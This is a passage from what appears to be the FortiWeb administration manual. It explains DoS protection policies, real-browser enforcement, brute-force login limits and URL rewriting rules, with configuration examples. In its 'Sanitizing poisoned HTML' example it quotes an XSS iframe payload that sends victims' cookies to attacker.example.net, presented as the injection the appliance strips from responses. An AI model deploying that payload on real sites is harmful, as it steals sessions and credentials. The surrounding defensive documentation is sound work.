 - TCP connections per session (see [“Limiting TCP connections per IP address by session cookie” on page 334](#))
 - TCP connection flood prevention (see [“Limiting TCP connections per IP address” on page 341](#))

2. Go to *DoS Protection > DoS Protection Policy > DoS Protection Policy*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

Edit DoS Protection Policy

Name dos-protection1

Real Browser Enforcement script-client-preventer1

HTTP Session Based Prevention ☒

HTTP Flood Prevention http-flood-ip1

Malicious IPs dos-ip1

HTTP Network Based Prevention ☒

HTTP Access Limit http-access-limit1

TCP Flood Prevention tcp-flood-preventer1

OK Cancel

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. From *Real Browser Enforcement*, select a rule, if any, that you want to include (see [“Preventing automated requests” on page 347](#)).
6. If you want to apply features that use session cookies, enable *HTTP Session Based Prevention*.
 - From *HTTP Flood Prevention*, select an existing rule that sets the maximum number of HTTP requests per second to a specific URL (see [“Preventing an HTTP request flood” on page 337](#)).
 - From *Malicious IPs*, select an existing rule that limits TCP connections from the same client (see [“Limiting TCP connections per IP address by session cookie” on page 334](#)).
7. If you want to restrict traffic based upon request or connection counts, enable *HTTP Network Based Prevention*.
 - From *HTTP Access Limit*, select a rule, if any, that you want to include (see [“Limiting TCP connections per IP address” on page 341](#)).
 - From *TCP Flood Prevention*, select a rule, if any, that you want to include (see [“Preventing a TCP SYN flood” on page 344](#)).
8. Click *OK*.
9. To apply the policy, select the DoS protection policy in an inline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#)).
10. If you have configured DoS protection features that use session cookies, also enable the [Session Management](#) option in the protection profile.

See also

- [Sequence of scans](#)

Preventing automated requests

Because malicious clients frequently alter their `User-Agent` field in the HTTP header to mimic harmless clients such as browser, it is not a reliable method of excluding automated tools.

You can intelligently limit the rate of HTTP requests per TCP connection per session, based upon whether or not the client passes a test that indicates it is a web browser. If the client exceeds the soft limit, that FortiWeb appliance will only accept additional HTTP requests if the client can pass a test that proves it is a real person's web browser, and not an automated tool.

Automated requests can come from several types of sources. For example:

- Hackers sometimes use automated attack tools to send overwhelming numbers of HTTP requests to a web site, thereby overwhelming the server and slowing or preventing access by legitimate users.
- Content thieves sometimes use automated tools to download an entire site for use on their own web site.
- Legitimate users sometimes use automated tools, such as `wget` or `curl`, to download an entire web site, or part of it, for offline viewing or local caching.

If you want to prevent automated tools, use this feature to limit the maximum number of HTTP requests allowed per second, but **only** for clients that are not web browsers.

The FortiWeb appliance tracks requests using a session cookie. If the count exceeds the limit, before the FortiWeb appliance decides whether to forward the request to a web server, it first returns a web page to the client. The page includes JavaScript that validates that the client is a web browser. The JavaScript also includes provisions to prevent hijacking by hackers. If the client fails validation (that is, it is not a legitimate browser), FortiWeb applies your selected enforcement action.



The real browser test is **not** supported in offline protection mode. See [“Supported features in each operation mode” on page 61](#).

To configure real browser enforcement

1. If you want to add browser enforcement exceptions to your browser enforcement rule, create the exceptions first. For details, see [“Configuring browser enforcement exceptions” on page 351](#).
2. Go to *DoS Protection > Application > Real Browser Enforcement*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.

4. Configure these settings:

Edit Real Browser Enforcement	
Name	script-client-preventer1
HTTP Request Limit/sec	100 (1~1000)
<i>Sets the number of HTTP requests per TCP connection, per second, to a specific URL before FortiWeb issues a script to the client to validate whether this is a real browser or an automated tool</i>	
Real Browser Enforcement Exception	script-client-exception1 Detail...
Action	Period Block
Block Period	600 (1~10000)(Seconds)
Severity	High
Trigger Action	notification-servers1
OK Cancel	

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
HTTP Request Limit/sec	Type the maximum rate of requests per second allowed from a single HTTP client to the same URL on a protected web site. For best results, this should be at least as many requests as required to normally load the URL. When a client accesses a web application, it normally requests many files, such as images and style sheets, used by the web page itself. If you set limits too low, it can cause false positive attack detections and block requests. In extreme cases, this could prevent a single web page from fully loading all of its components — images, CSS, and other external files. The valid range is from 1 to 1,000. The default is 1. Fortinet suggests an initial value of 25. See also “Reducing false positives” on page 609.
Real Browser Enforcement Exception	If some web pages require a higher rate limit, from this drop-down list, select an exception profile. If you need to modify the exception, click the <i>Detail</i> link. The exception dialog appears, where you can view and edit the exceptions. Use your browser’s <i>Back</i> button to return.

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the request and generate an alert email and/or log message. • Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. Tip: For improved performance during a confirmed DDoS, select this option. Attackers participating in the DoS will then be blocked at the IP layer, conserving FortiWeb resources that would otherwise be consumed by scanning each attacker’s request at the HTTP layer, compounding the effects of the DDoS. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. The default value is <i>Alert</i>. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to enforce actions for this feature. See “Sessions & FortiWeb HA” on page 37. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 10,000 (2.78 hours). The default value is 0. See also “Monitoring currently blocked IPs” on page 591.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i> .
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544 .

5. Click *OK*.
6. Group the rule in a DoS protection policy (see [“Grouping DoS protection rules” on page 345](#)) that is used by a protection profile.
7. Enable the [Session Management](#) option in the protection profile.

Example: Preventing email directory harvesting

Let’s say that you have a web application such as IBM Lotus Notes that provides access to your directory. The directory includes a huge number of email addresses: all of your employees, vendors, and clients. Because these are known to be the email addresses of real people, the directory is an incredibly valuable target for hackers or botnets that are employed by spammers — sending spam only to known-deliverable addresses reaps more profit.

If your directory is properly configured and protected by a [FortiMail](#), an SMTP-based directory harvest attack would not succeed. However, because there is a web application interface, the attacker has a second possible vector: via HTTP.

Unless the attacker is focused solely on your organization, such a person is unlikely to manually use his or her own browser to harvest the many email addresses from your web app. It’s far more likely she or he will use a script.

To deter such an attack, you could strategically require that only web browsers can connect: configure this real browser enforcement rule:

Setting name	Value
HTTP Request Limit/sec	3
Action	Period Block
Block Period	10000
Severity	High
Trigger Action	notification_servers1

If any client sends a request for the same URL on your web site 3 times within the same second, upon the next request, FortiWeb will return a web page with the JavaScript browser validator. The validator will respond to FortiWeb with the test result. Clients that fail to demonstrate that they are a web browser will have their requests dropped for the next 2.78 hours (i.e. 10,000 seconds), and the attack will be logged with a *High* severity level. `notification_servers1`

includes your central logging [FortiAnalyzer](#), where you will be alerted that the attack attempt is taking place, and can monitor for attack trend.

See also

- [Configuring browser enforcement exceptions](#)
- [Preventing an HTTP request flood](#)
- [Limiting the total HTTP request rate from an IP](#)

Configuring browser enforcement exceptions

If some URLs have a separate, higher rate limit for real browser enforcement, you can configure exceptions to a *Real Browser Enforcement* rule.

URLs that are an exception will receive a second, higher rate limit. This prevents limitless HTTP request rates that could be a DoS liability, while still allowing a greater number of requests than specified in a *Real Browser Enforcement* rule.



Configure this feature for web pages with many graphics, style sheets, scripts, and other included files. These require more requests from clients as part of their normal operation, and therefore could cause real browser tests for each legitimate client, depending on the limit that you configured in the real browser enforcement rule. In this case, configuring exceptions for high-request web pages can improve performance.

To configure real browser enforcement exception

1. Go to *DoS Protection > Application > Real Browser Enforcement Exception*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see "[Permissions](#)" on page 46.

2. Click *Create New*.

A dialog appears.

ID	Host	Host Status	Request URL	Threshold	
1	www.example.com	Enable	/feed.xml	5	

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

4. Click *OK*.

5. Click *Create New*.

A dialog appears.

6. Configure these settings:

Edit URL

ID	auto
Host	www.example.com
Host Status	☒
Request URL	/feed.xml
Http Get Threshold Per Session	5 (1~1000)

Setting name	Description
Host	Select which protected hosts entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the exception. This option is available only if <i>Host Status</i> is enabled.
Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected hosts entry in order to match the exception. Also configure <i>Host</i> .
Request URL	Type the literal URL, such as <code>/causes-false-positives.php</code> , that the HTTP request must contain in order to match the exception. The URL must begin with a backslash (<code>/</code>). Do not include the domain name, such as <code>www.example.com</code> , which is configured separately in the <i>Host</i> drop-down list.
HTTP GET Threshold Per Session	Type the secondary, hard limit for URLs that are an exception to the rule. The valid range is from 1 to 1,000. The default is 1.

7. Click *OK*.
8. To apply an exception, include it in a *Real Browser Enforcement* rule (see [“Preventing automated requests” on page 347](#)).

Preventing brute force logins

FortiWeb can prevent brute force login attacks.

Brute force attackers attempt to penetrate systems by the sheer number of clients, attempts, or computational power, rather than by intelligent insight or advance knowledge of application logic or data.

Specifically in brute force attacks on authentication, multiple web clients may rapidly try one user name and password combination after another in an attempt to eventually guess a correct login and gain access to the system. In this way, behavior differs from web crawlers, which typically do not focus on a single URL.

Brute force login attack profiles track the rate at which each source IP address makes requests for specific URLs. If the source IP address exceeds the threshold, the FortiWeb appliance

penalizes the source IP address by blocking additional requests for the time period that you indicate in the profile.



This scan is bypassed if the client's source IP is a known search engine and you have enabled *Allow Known Search Engines*.

To configure brute force login attack prevention

1. Before you configure a brute force login attack profile, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected hosts group. For details, see [“Defining your protected or allowed HTTP “Host:” header names” on page 239](#). You should also enable detection of when source IP addresses are shared by multiple clients. For details, see [“Advanced settings” on page 508](#). Before you configure the rate limit, enable detection of when source IP addresses are shared by multiple clients. For details, see [“Advanced settings” on page 508](#).



If you do not enable detection of shared IP addresses (*Shared IP*), the second threshold, *Share IP Access Limit*, will be ignored.

2. Go to *Web Protection > Access > Brute Force*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

4. Configure these settings:

Edit Brute Force Login

Name: Brute_Force_2

Severity: High

Trigger Policy: email-trig-policy1

OK Cancel

Create New

Clear all

ID	Host	Type	Request File	Standalone IP Access Limit	Share IP Access Limit	Block Period	
1	192.168.1.2	Based on Source IP	/index.asp	1	1	1	Delete Edit

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<i>severity_level</i>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: - Low - Medium - High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

- Click **OK**.
- Click *Create New* to add an entry to the set.
A dialog appears.

7. Configure these settings:

Setting name	Description
Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected hosts entry in order to be included in the brute force login attack profile's rate calculations. Also configure Host .
Host	Select which protected hosts entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the brute force login attack profile. This option is available only if Host Status is enabled.
Type	Select how to apply the limit of login attempts in Standalone IP Access Limit or Share IP Access Limit , either: • Based on Source IP — Apply the limit to per source IP. • Based on TCP Session — Apply the limit to per TCP/IP session. Tip: If you need to cover both possibilities, create two members.
Request File	Type the URL that the HTTP/HTTPS request must match to be included in the brute force login attack profile's rate calculations. When you have finished typing the regular expression, click the >> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658).
Block Period	Type the length of time in seconds for which the FortiWeb appliance will block subsequent requests after a source IP address exceeds the rate threshold in either Standalone IP Access Limit or Share IP Access Limit . The block period is shared by all clients whose traffic originates from the source IP address. The valid range is from 1 to 10,000 seconds.

Setting name	Description
Standalone IP Access Limit	Type the rate threshold for source IP addresses that are single clients. Request rates exceeding the threshold will cause the FortiWeb appliance to block additional requests for the length of the time in the Block Period field. To disable the rate limit, type 0.
Share IP Access Limit	Type the rate threshold for source IP addresses that are shared by multiple clients behind a network address translation (NAT) device such as a firewall or router. Request rates exceeding the threshold will cause the FortiWeb appliance to block additional requests for the length of the time in the Block Period field. To disable the rate limit, type 0. Note: Blocking a shared source IP address could block innocent clients that share the same source IP address with an offending client. In addition, the rate is a total rate for all clients that use the same source IP address. For these reasons, you should usually enter a greater value for this field than for Standalone IP Access Limit. Note: This option will be ignored if you have not enabled detection of shared IP addresses. See “Advanced settings” on page 508.

8. Click *OK*.
 9. Repeat the previous steps for each individual login page that you want to add to the brute force login attack profile.
 10. To apply the brute force login attack profile, select it in an inline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#)).
- Attack log messages contain `Brute Force Login Violation` when this feature detects a brute force login attack.

Rewriting & redirecting

Rewriting or redirecting HTTP requests and responses is popular, and can be done for many reasons.

Similar to error message cloaking, URL rewriting can prevent the disclosure of underlying technology or web site structures to HTTP clients.

For example, when visiting a blog web page, its URL might be:

```
http://www.example.com/wordpress/?feed=rss2
```

Simply knowing the file name, that the blog uses PHP, its compatible database types, and the names of parameters via the URL could help an attacker to craft an appropriate attack for that platform. By rewriting the URL to something more human-readable and less platform-specific, the details can be hidden:

```
http://www.example.com/rss2
```

Aside from for security, rewriting and redirects can be for aesthetics or business reasons. Financial institutions can transparently redirect customers that accidentally request HTTP:

```
http://bank.example.com/login
```

to authenticate and do transactions on their secured HTTPS site:

```
https://bank.example.com/login
```

Additional uses could include:

- During maintenance windows, requests can be redirected to a read-only server.
- International customers can use global URLs, with no need to configure the back-end web servers to respond to additional HTTP virtual host names.
- Shorter URLs with easy-to-remember phrases and formatting are easier for customers to understand, remember, and return to.

Much more than their name implies, “URL rewriting rules” can do all of those things, and more:

- redirect HTTP requests to HTTPS
- rewrite the URL line in the header of an HTTP request
- rewrite the `Host:` field in the header of an HTTP request
- rewrite the `Referer:` field in the header of an HTTP request
- redirect requests to another web site
- send a 403 `Forbidden` response to a matching HTTP requests
- rewrite the HTTP location line in the header of a matching redirect response from the web server
- rewrite the body of an HTTP response from the web server



Rewrites/redirects are not supported in all modes. See [“Supported features in each operation mode” on page 61](#).

FortiWeb **cannot rewrite requests that exceed FortiWeb’s buffer size**. To block requests that cannot be rewritten, configure [Malformed Request](#).

Rewrites will work on single requests as well as those that have been fragmented using:

```
Transfer-Encoding: chunked
```

To configure a rewriting/redirection rule

1. Go to *Application Delivery > URL Rewriting Policy > URL Rewriting Rule*.
2. Click *Create New*.

A dialog appears. Its appearance varies by your settings in *Action Type*, and *Request Action* or *Response Action*.

Edit URL Rewriting Rule

Name

Action Type ☒ Request Action ☐ Response Action

Request Action

URL Rewriting Condition Table

ID	Object	Regular Expression
1	HTTP Referrer	^/index

Clear all

Edit

Delete

3. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In *Action Type*, select whether this rule will rewrite HTTP requests from clients (*Request Action*) or HTTP responses from the web server (*Response Action*).

The next step varies by your selection in this step.

5. If you selected *Request Action* in *Action Type*, in the *Request Action* drop-down list, select one of the following:

- *Rewrite HTTP Header* — Rewrites part(s) of the header in the HTTP request before passing it to the web server.

Replacement URL
☒ **Host** ☒ Using Physical Server
☐ **URL**

Replacement Referer
☒ **Referer** ☒ Using Physical Server

Setting name	Description
Host	Enable then type either a host name, such as <code>store.example.com</code>, or IP address if you want to replace the value of the <code>Host:</code> field in the header of HTTP requests. Requests will be redirected to this web host. This field supports back references such as <code>\$0</code> to the parts of the original request that matched any capture groups that you entered in <i>Regular Expression</i> for each object in the condition table. (A capture group is a regular expression, or part of one, surrounded in parentheses. See “Regular expression syntax” on page 658.) For an example, see “Example: Rewriting URLs using variables” on page 374.
Using Physical Server	Enable to insert the variable <code>FORTIWEB_PSERVER</code> in <i>Host</i>. At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request. Tip: Use this option when the <i>Deployment Mode</i> option in the server policies using this rule is either <i>Server Balance</i> or <i>HTTP Content Routing</i>. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.
URL	Enable then type a string, such as <code>/catalog/item1</code>, if you want to replace the URL in the HTTP request. Do not include the name of the web host, such as <code>www.example.com</code>, nor the protocol. Like <i>Host</i>, this field supports back references such as <code>\$0</code> to the parts of the original request that matched any capture groups that you entered in <i>Regular Expression</i> for each object in the condition table (see “What are back-references?” on page 663). For an example, see “Example: Rewriting URLs using regular expressions” on page 373.

Setting name	Description
Referer	Enable then type a URI, such as <code>http://www.example.com/index</code>, if you want to rewrite the <code>Referer:</code> field in the HTTP header. This option is available only if <i>Request Action</i> is <i>Rewrite HTTP Header</i>.
Using Physical Server	Enable to insert the variable <code>FORTIWEB_PSERVER</code> in <i>Referer</i>. At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request. Tip: Use this option when the <i>Deployment Mode</i> option in the server policies using this rule is either <i>Server Balance</i> or <i>HTTP Content Routing</i>. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.

- *Redirect (301 Permanently) or Redirect (302 Temporary)* — In *Location*, type a URI, such as `http://www.example.com/new-url`, to use in the `301 Moved Permanently` or the `302 Moved Temporarily` redirection HTTP response from the FortiWeb appliance. Like *Host* and *URL*, this field supports back-references such as `$0` (see “[What are back-references?](#)” on page 663).

Replacement Location	
Location	http://

- *Send 403 Forbidden* — Return a `403 Forbidden` response to the client.
6. If you selected *Response Action* in *Action Type*, in the *Response Action* drop-down list, select one of the following:
- *Rewrite HTTP Body* — In *Replacement*, type the string that will replace content in the body of HTTP responses (see “[What are back-references?](#)” on page 663 and “[Cookbook regular expressions](#)” on page 665).

Replacement Strings in Body	
Replacement	

- *Rewrite HTTP Location* — In *Location*, type a URI, such as `http://www.example.com/new-url`, to use in the `302 Moved Temporarily` redirection when the HTTP response matches. Like *Host* and *URL*, this field supports back-references such as `$0` (see “[What are back-references?](#)” on page 663).

Replacement String	
Location	

7. Click *Create New* to add match conditions for the rule to *URL Rewriting Condition Table*. A dialog appears.

8. Configure these settings:

Edit URL Rewriting Condition

ID

Object HTTP Body

Regular Expression >>

Protocol Filter ☒

Protocol HTTP

Content Type Filter ☒

Content Type Set

text/plain
application/xml(or)text/xml
application/javascript
application/soap+xml

➡
⬅

text/html
text/javascript

Meet this condition if:

☐ Object does not match the regular expression,the protocol filter or the content type filter
☒ Object matches the regular expression,the protocol filter and the content type filter

OK
Cancel

Setting name	Description
Object	Select which part of the HTTP request will be tested for a match: • HTTP Host — The <code>Host :</code> field in the HTTP header. This option does not appear if <i>Response Action</i> in step 6 was <i>Rewrite HTTP Body</i>. • HTTP Request URL — The URL in the HTTP header. The URL can be up to 1,024 characters long, unless superseded by HTTP constraints such as Header Line Length. This option does not appear if <i>Response Action</i> in step 6 was <i>Rewrite HTTP Body</i>. • HTTP Referer — The <code>Referer :</code> field in the HTTP header. This option appears only if <i>Action Type</i> in step 4 was <i>Request Action</i>. This option does not appear if <i>Response Action</i> in step 6 was <i>Rewrite HTTP Body</i>. • HTTP Body — The content of the request, such as an HTML document. This option appears only if <i>Response Action</i> in step 6 was <i>Rewrite HTTP Body</i>. • HTTP Location — The <code>Location :</code> field in the header of the request. This option appears only if <i>Response Action</i> in step 6 was <i>Rewrite HTTP Location</i>. If the request must meet multiple conditions (for example, it must contain both a matching <code>Host :</code> field and a matching URL), add each condition to the condition table separately.
Regular Expression	Depending on your selection in Object and Meet this condition if, type a regular expression that defines either all matching or all non-matching objects. Also configure Meet this condition if.

Setting name	Description
	For example, for the URL rewriting rule to match all URLs that begin with <code>/wordpress</code>, you could enter <code>^/wordpress</code>, then, in <i>Meet this condition if</i>, select <i>Object matches the regular expression</i>. The pattern is not required to begin with a slash (/). When you have finished typing the regular expression, click the >> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658, “What are back-references?” on page 663 and “Cookbook regular expressions” on page 665).
Protocol Filter	Enable if you want to match this condition only for either HTTP or HTTPS. Also configure Protocol. For example, you could redirect clients that accidentally request the login page by HTTP to a more secure HTTPS channel — but the redirect is not necessary for HTTPS requests. As another example, if URLs in HTTPS requests should be exempt from rewriting, you could configure the rewriting rule to apply only to HTTP requests.
Protocol	Select which protocol will match this condition, either <i>HTTP</i> or <i>HTTPS</i>. This option appears only if Protocol Filter is enabled.
Content Type Filter	Enable if you want to match this condition only for specific HTTP content types (also called Internet or MIME file types) such as <code>text/html</code>, as indicated in the <code>Content-Type: HTTP</code> header. Also configure Content Type Set.
Content Type Set	In the left text area, select one or more HTTP content types that you want to match this condition, then click the right arrow button to move them into the text area on the right side. This option is visible only if Content Type Filter is enabled.
Meet this condition if	Indicate how to use Regular Expression when determining whether or not this URL rewriting condition is met. • Object does not match the regular expression — If the regular expression does not match the request object, the condition is met. • Object matches the regular expression — If the regular expression does match the request object, the condition is met. If all conditions are met, the FortiWeb appliance executes the <i>Request Action</i> or <i>Response Action</i>, whichever you selected.

9. If you selected *HTTP Referer* from *Object*, also configure the following:

Setting name	Description
If no Referer field in HTTP header	Select either: • Do not meet this condition • Meet this condition Requests can lack a <code>Referer</code> : field for several reasons, such as if the user manually types the URL, and the request does not result from a hyperlink from another web site, or if the URL resulted from an HTTPS connection. (See the RFC 2616 section on the <code>Referer</code> : field.) In those cases, the field cannot be tested for a matching value. This option appears only if <i>Object</i> is <i>HTTP Referer</i>.

10. Click *OK*.

11. Repeat the previous two steps until you have defined all matching HTTP requests or responses that should be rewritten as defined in this rule.

12. Group the URL rewrite rule in a URL rewriting policy (see “[Grouping rewriting & redirection rules](#)” on page 375).

13. If you are rewriting a response from the web server, and it is compressed, configure a decompression rule so that FortiWeb will be able to rewrite. See “[Configuring decompression to enable scanning & rewriting](#)” on page 449.

See also

- [Grouping rewriting & redirection rules](#)
- [Example: HTTP-to-HTTPS redirect](#)
- [Example: Full host name/URL translation](#)
- [Example: Sanitizing poisoned HTML](#)
- [Example: Rewriting URLs using regular expressions](#)
- [Example: Rewriting URLs using variables](#)
- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)

Example: HTTP-to-HTTPS redirect

Example.com is a business-oriented social media provider. Its clients require that attackers cannot fraudulently post comments. If an attacker can post while disguised as originating from the client’s business, as this could enable an attacker to ruin a business’s reputation.

To provide clients with protection from HTTP session hijacking tools such as Firesheep, Example.com wants to automatically redirect **all** HTTP requests to HTTPS. This way, **before** the client attempts to log in and exposes both their credentials and HTTP session ID to an eavesdropper, the response and subsequent requests are SSL/TLS encrypted, and thereby protected.

To do this, example.com will apply a rewriting rule that matches all HTTP requests, regardless of host name variations or URL, such as:

```
http://www.example.com/login
http://www.example.co.jp/
```

and redirects them to the equivalent URL on its secure sites:

`https://www.example.com/login`

`https://www.example.co.jp/`

This rewriting rule has 3 parts:

- Regular expression that matches HTTP requests with any host name — `(.*)`



This regular expression should **not** match **HTTPS** requests, since it would decrease performance to redirect requests that are already in HTTPS.

- Regular expression that matches requests with any URL in the HTTP header — `^(.*)$`
- Redirect destination location that assembles the host name (`$0`) and URL (`$1`) from the request in front of the new protocol prefix, `https://`

See [“What are back-references?”](#) on page 663.

This could be configured via either the CLI or web UI.

New URL Rewriting Condition

ID:

Object:

Regular Expression:

Protocol Filter: ☒

Protocol:

Meet this condition if:

☒ Object matches the regular expression and the protocol filter

☐ Object does not match the regular expression or the protocol filter

New URL Rewriting Condition

ID:

Object:

Regular Expression:

Protocol Filter: ☒

Protocol:

Meet this condition if:

☒ Object matches the regular expression and the protocol filter

☐ Object does not match the regular expression or the protocol filter

Edit URL Rewriting Rule

Name:

Action Type: ☒ Request Action ☐ Response Action

Request Action:

URL Rewriting Condition Table

ID	Object	Regular Expression	
1	HTTP Host	(.*)	
2	HTTP URL	^(.*)\$	

Replacement Location

Location:

CLI commands to implement this are:

```
config waf url-rewrite url-rewrite-rule
  edit "http_to_https"
    set action redirect
    set location "https://$0/$1"
    set host-status disable
    set host-use-pserver disable
    set referer-status disable
    set referer-use-pserver disable
    set url-status disable
    config match-condition
      edit 1
        set reg-exp "(.*)"
        set protocol-filter enable
      next
      edit 2
        set object http-url
        set reg-exp "^/(.*)$"
      next
    end
  next
end
config waf url-rewrite url-rewrite-policy
  edit "http_to_https"
    config rule
      edit 1
        set url-rewrite-rule-name "http_to_https"
      next
    end
  next
end
```

See also

- [Example: Full host name/URL translation](#)
- [Grouping rewriting & redirection rules](#)
- [Example: Rewriting URLs using regular expressions](#)
- [Example: Rewriting URLs using variables](#)
- [Rewriting & redirecting](#)
- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)

Example: Full host name/URL translation

Example.com wants to translate its domain name: the external DNS name should be rewritten to the internal DNS name, and vice versa.

When the external DNS name `www.example.com` appears in the client's request's HTTP `Host :` header, it should be rewritten to `www-internal.example.com`.

In the server's response traffic, when the internal DNS name `www-internal.example.com` appears in the `Location:` header, or in hyperlinks in the document body, it must be rewritten.

To do this, it creates a set of 3 rewriting rules, one for each of parts that FortiWeb must rewrite.

Edit URL Rewriting Rule

Name

Action Type ☒ Request Action ☐ Response Action

Request Action



URL Rewriting Condition Table

ID	Object	Regular Expression	
1	HTTP Host	www.example.com	 

Replacement URL

☒ **Host** ☐ Using Physical Server

☐ **URL**

Replacement Referrer

☐ **Referrer** ☐ Using Physical Server

Edit URL Rewriting Rule

Name

Action Type ☐ Request Action ☒ Response Action

Response Action



URL Rewriting Condition Table

ID	Object	Regular Expression	
1	HTTP Location	(.*)www-internal.example.com(.*)	 

Replacement String

Location

Edit URL Rewriting Rule

Name

Action Type ☐ Request Action ☒ Response Action

Response Action Rewrite HTTP Body ▼

OK
Cancel

URL Rewriting Condition Table

ID	Object	Regular Expression	
1	HTTP Body	www-internal.example.com	

Replacement Strings in Body

Replacement

Table 35: Example request host name rewrite

<i>Object</i>	<i>HTTP Host</i>
<i>Regular Expression in URL match condition</i>	www.example.com
<i>Host</i>	www-internal.example.com

Table 36: Example response location rewrite

<i>Object</i>	<i>HTTP Location</i>
<i>Regular Expression in URL match condition</i>	(.*)www-internal.example.com(.*)
<i>Location</i>	\$0www.example.com\$1

Table 37: Example response hyperlink rewrite

<i>Object</i>	<i>HTTP Body</i>
<i>Regular Expression in URL match condition</i>	www-internal.example.com
<i>Replacement</i>	www.example.com

See also

- [Grouping rewriting & redirection rules](#)
- [Example: Rewriting URLs using regular expressions](#)
- [Example: Rewriting URLs using variables](#)
- [Rewriting & redirecting](#)
- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)

Example: Sanitizing poisoned HTML

Example.com is a cloud hosting service provider that has just bought several FortiWebs. Thousands of customers rely on it to maintain database-backed web servers. Before FortiWeb was added to its network, its web servers were regularly being attacked. Without HTTP-savvy intrusion detection and filtering, these posts poisoned many of its web applications by using XSS to inject stored clickjacking attacks into login pages.

Example.com wants to mitigate the effects of prior attacks to protect innocent clients while its incident response team finishes forensic work to audit all applications for impact and complete remediation. To do this, it will rewrite the body of offending responses.

Example.com's incident response team has already found some of the poisoned HTML that is afflicting some login pages. All major web browsers are currently vulnerable.

It replaces the login pages of the web application with a hidden frame set which it uses to steal session or login cookies and spy on login attempts. The attacker can then use stolen login credentials or use the fraudulent session cookies. For bank clients, this is especially devastating: the attacker now has complete account access, including to credit cards.

To mitigate effects, example.com wants to scrub the malicious HTML from responses, **before** they reach clients that could unwittingly participate in attacks, or have their identities stolen.

To do this, FortiWeb will rewrite the injected attack:

```
<iframe src="javascript:document.location.href=
  `attacker.example.net/peep?url=`+
  parent.location.href.toString()+`lulz=`
  escape(document.cookie);"
  sandbox="allow-scripts allow-forms"
  style="width:0%;height:0%;position:absolute;left:-9999em;">
</iframe>
```

into a null string to delete it from the infected web server's response. FortiWeb will replace the attack with its own content:

```
<script src="http://irt.example.com/todo.jss"></script>
```

so that each infected response posts the infected host name, URL, and attack permutation to a "to do" list for the incident response team, as well as notifying the impacted customer.

Since attackers often try new attack forms to evade filters, the regular expression uses a few techniques for flexible matching:

- case insensitivity — (?i)
- alternative quotation marks — [" ' ` ? " " , ' ' ' ? < > « »]
- word breaks of zero or more white spaces — (\\s) *
- word breaks using forward slashes instead of white space — [\\s\\/] *
- zero or more new line breaks within the tag — (\\n|.) *

New URL Rewriting Rule

Name

Action Type ☐ Request Action ☒ Response Action

Response Action

URL Rewriting Condition Table

ID	Object	Regular Expression	
Replacement Strings in Body Replacement			

New URL Rewriting Condition

ID

